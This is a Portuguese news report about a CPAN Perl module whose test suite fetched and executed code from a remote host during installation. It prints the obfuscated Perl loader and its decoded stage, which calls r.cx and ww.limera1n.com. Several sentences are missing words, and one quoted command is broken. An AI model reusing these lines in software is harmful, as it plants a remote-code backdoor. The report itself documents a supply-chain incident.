No pacote Perl distribuído pelo catálogo CPAN , destinado a carregar módulos CPAN automaticamente em tempo real, código malicioso. A inserção maliciosa foi no código do teste , que vem sendo fornecido desde 2011.
É notável que questões sobre o carregamento de código suspeito surgiram no já em 2016.
A atividade maliciosa se resume a tentativas de carregar e executar código de um servidor externo (http://r.cx:1/) durante a execução do conjunto de testes, iniciado na instalação do módulo. Supõe-se que o código originalmente carregado do servidor externo não era malicioso, mas agora a solicitação é redirecionada para o domínio ww.limera1n.com, que fornece sua carga de código para execução.
Para organizar o carregamento no arquivo é utilizado o seguinte código:
my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;
O código especificado leva à execução do script , cujo conteúdo se resume à linha:
use lib do{eval&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.";1"};
Este script carrega usando o serviço código de um host externo r.cx (os códigos numéricos 82.46.99.88 correspondem ao texto "R.cX") e o executa no bloco eval.
$ perl -MIO::Socket -e'b=new IO::Socket::INET 82.46.99.88.";1"; print ;'
eval unpack u=>q{_<'')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}
Após a descompactação, o seguinte é executado :
print{$b=new IO::Socket::INET"ww.limera1n.com:80"} "GET /iJailBreak";
eval or return warn$@while$b;1
Atualmente, o pacote problemático foi removido do repositório (Servidor de Upload de Autores Perl), e a conta do autor do módulo foi bloqueada. No entanto, o módulo ainda permanece no arquivo MetaCPAN e pode ser instalado diretamente com o MetaCPAN usando algumas ferramentas, como cpanminus. , o que indica que o pacote não foi amplamente distribuído.
Curiosamente, o autor do módulo também se juntou à discussão e o autor do módulo que refutou a informação de que o código malicioso foi inserido após o hackeamento do seu site "r.cx" e explicou que ele estava apenas se divertindo, e que perlobfuscator.com não foi usado para ocultar nada, mas para reduzir o tamanho do código e facilitar sua cópia através da área de transferência. A escolha do nome da função "botstrap" foi explicada pelo fato de que essa palavra "soa como bot e é mais curta que bootstrap". O autor do módulo também garantiu que as manipulações identificadas não realizam ações maliciosas, mas apenas demonstram o carregamento e a execução de código via TCP.
Fonte: opennet.ru
